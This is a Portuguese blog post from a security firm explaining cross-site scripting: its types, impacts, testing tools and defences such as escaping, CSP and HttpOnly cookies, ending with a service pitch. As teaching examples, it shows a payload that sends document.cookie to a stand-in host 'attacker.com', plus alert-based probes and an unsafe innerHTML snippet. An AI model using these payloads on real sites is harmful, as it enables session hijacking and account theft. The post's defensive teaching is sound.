XSS (Cross-Site Scripting): Como Empresas São Comprometidas por Falhas no Frontend
XSS continua sendo uma das vulnerabilidades mais exploradas da web moderna. Entenda os tipos de XSS, impactos reais e como proteger aplicações corretamente.

❓O que é XSS (Cross-Site Scripting)?
XSS é uma vulnerabilidade que permite que atacantes injetem scripts maliciosos (geralmente JavaScript) em páginas web visualizadas por outros usuários. Isso pode resultar em roubo de cookies/sessões, redirecionamentos maliciosos, ou ações não autorizadas em nome da vítima.
XSS (Cross-Site Scripting) continua sendo uma das vulnerabilidades mais comuns encontradas em aplicações web modernas.
Apesar de muitos desenvolvedores associarem XSS apenas a um simples alert(1),
na prática essa vulnerabilidade pode permitir roubo de sessões,
comprometimento de contas,
execução de ações em nome do usuário
e até controle parcial da aplicação.
Em diversos pentests modernos, falhas de XSS continuam aparecendo em painéis administrativos, plataformas SaaS, CRMs, aplicações financeiras e sistemas internos.
- Executa código diretamente no navegador da vítima
- Pode comprometer sessões autenticadas
- Frequentemente afeta usuários administrativos
- É extremamente comum em aplicações modernas
- Pode ser combinado com outras vulnerabilidades
O Que é XSS?
XSS ocorre quando uma aplicação renderiza dados controlados pelo usuário sem realizar escape ou sanitização adequada.
Isso permite que código JavaScript seja executado diretamente no navegador da vítima.
Na prática, o navegador interpreta o payload injetado como parte legítima da aplicação.
O Problema Vai Muito Além de alert(1)
Durante testes de segurança,
o payload alert(1) normalmente é utilizado apenas como prova de conceito.
O impacto real geralmente envolve:
- Roubo de sessão autenticada
- Execução de ações em nome da vítima
- Captura de tokens JWT
- Bypass parcial de MFA
- Phishing dentro da própria aplicação
- Comprometimento de painéis administrativos
Exemplo Real Encontrado em Aplicações
Um cenário extremamente comum envolve funcionalidades de comentários, chats, tickets ou campos de perfil.
<div class="comment">
{{ userComment }}
</div>
Se a aplicação renderizar conteúdo sem escape adequado, um atacante pode injetar:
<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
Quando outro usuário visualizar a página, o navegador executará automaticamente o payload.
Os Principais Tipos de XSS
1. Reflected XSS
O payload é enviado na requisição e refletido imediatamente pela aplicação.
Exemplo comum
https://site.com/search?q=<script>alert(1)</script>
Esse tipo normalmente depende de engenharia social, phishing ou envio de links maliciosos.
2. Stored XSS
O payload é armazenado permanentemente pela aplicação.
Esse é um dos cenários mais perigosos, porque qualquer usuário que acessar a página vulnerável executará automaticamente o payload.
Locais comuns
- Comentários
- Chats
- Sistemas de ticket
- Perfis de usuário
- Painéis administrativos
3. DOM-Based XSS
Nesse caso, a vulnerabilidade existe inteiramente no frontend.
const name = location.hash.substring(1);
document.getElementById('output').innerHTML = name;
Um atacante pode explorar:
https://site.com/#<img src=x onerror=alert(1)>
DOM XSS é extremamente comum em aplicações SPA modernas.
Impactos Reais de XSS
- Roubo de cookies
- Sequestro de sessão
- Execução de ações administrativas
- Exposição de tokens JWT
- Captura de credenciais
- Pivoting interno
- Phishing avançado
- Persistência dentro da aplicação
Por Que Aplicações Modernas Continuam Vulneráveis?
Mesmo frameworks modernos ainda apresentam riscos quando utilizados incorretamente.
Problemas encontrados frequentemente
- Uso inseguro de
innerHTML - Uso de
dangerouslySetInnerHTMLno React - Renderização de markdown inseguro
- Sanitização parcial
- Dependência excessiva do frontend
- Bibliotecas vulneráveis
Como Prevenir XSS Corretamente
1. Escape de Output
A principal defesa contra XSS continua sendo escape contextual adequado.
element.innerHTML = userInput;
✅ Seguro
element.textContent = userInput;
2. Evitar innerHTML Sempre que Possível
Grande parte dos DOM XSS encontrados em aplicações modernas
envolve uso inseguro de innerHTML.
3. Implementar CSP (Content Security Policy)
CSP reduz significativamente impacto de XSS.
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
CSP não substitui sanitização, mas adiciona uma camada extremamente importante de proteção.
4. Cookies com HttpOnly
Cookies HttpOnly ajudam a reduzir roubo de sessão via JavaScript.
Set-Cookie:
session=abc123;
HttpOnly;
Secure;
SameSite=Strict
5. Sanitização de HTML
Quando HTML controlado pelo usuário for realmente necessário, utilize bibliotecas confiáveis de sanitização.
- DOMPurify
- sanitize-html
- OWASP Java HTML Sanitizer
Ferramentas Utilizadas para Testes de XSS
- Burp Suite Professional
- OWASP ZAP
- XSStrike
- Dalfox
- Caido
Checklist de Proteção Contra XSS
- [ ] Outputs utilizam escape contextual
- [ ] Aplicação evita innerHTML
- [ ] CSP implementado
- [ ] Cookies utilizam HttpOnly
- [ ] Inputs são validados
- [ ] HTML é sanitizado corretamente
- [ ] Frameworks atualizados
- [ ] Pentests realizados regularmente
Conclusão
XSS continua extremamente presente em aplicações modernas, principalmente em sistemas complexos, aplicações SPA, painéis administrativos e plataformas SaaS.
Em muitos casos, o problema não está relacionado à ausência total de proteção, mas sim a pequenos pontos inseguros espalhados pela aplicação.
Segurança contra XSS exige validação contínua, revisão de código e entendimento profundo de como o frontend manipula dados controlados pelo usuário.
Precisa Avaliar a Segurança da sua Aplicação?
A LoPrestiSec realiza Pentest Web, Code Review e avaliações focadas em vulnerabilidades modernas, incluindo XSS Stored, DOM-Based XSS e falhas avançadas de frontend.
- Pentest Web
- Code Review
- API Security
- Cloud Security Assessment
- Threat Modeling
Entre em contato para avaliar a segurança da sua aplicação.
❓ Perguntas Frequentes
Tire suas principais dúvidas
<script>alert('XSS')</script> em campos de input. Se o alert executar, há vulnerabilidade. Para testes completos, recomenda-se pentest profissional com ferramentas especializadas.Ainda tem dúvidas? Entre em contato conosco através do formulário de contato ou pelo WhatsApp.
Precisa de ajuda com esse tema? Conheça nosso serviço de Code Review de Segurança →
Precisa de Ajuda Profissional em Segurança?
A LoPrestiSec oferece serviços completos de pentest, consultoria em segurança e adequação à LGPD. Mais de 200 empresas confiam em nossos serviços.
Entre em Contato →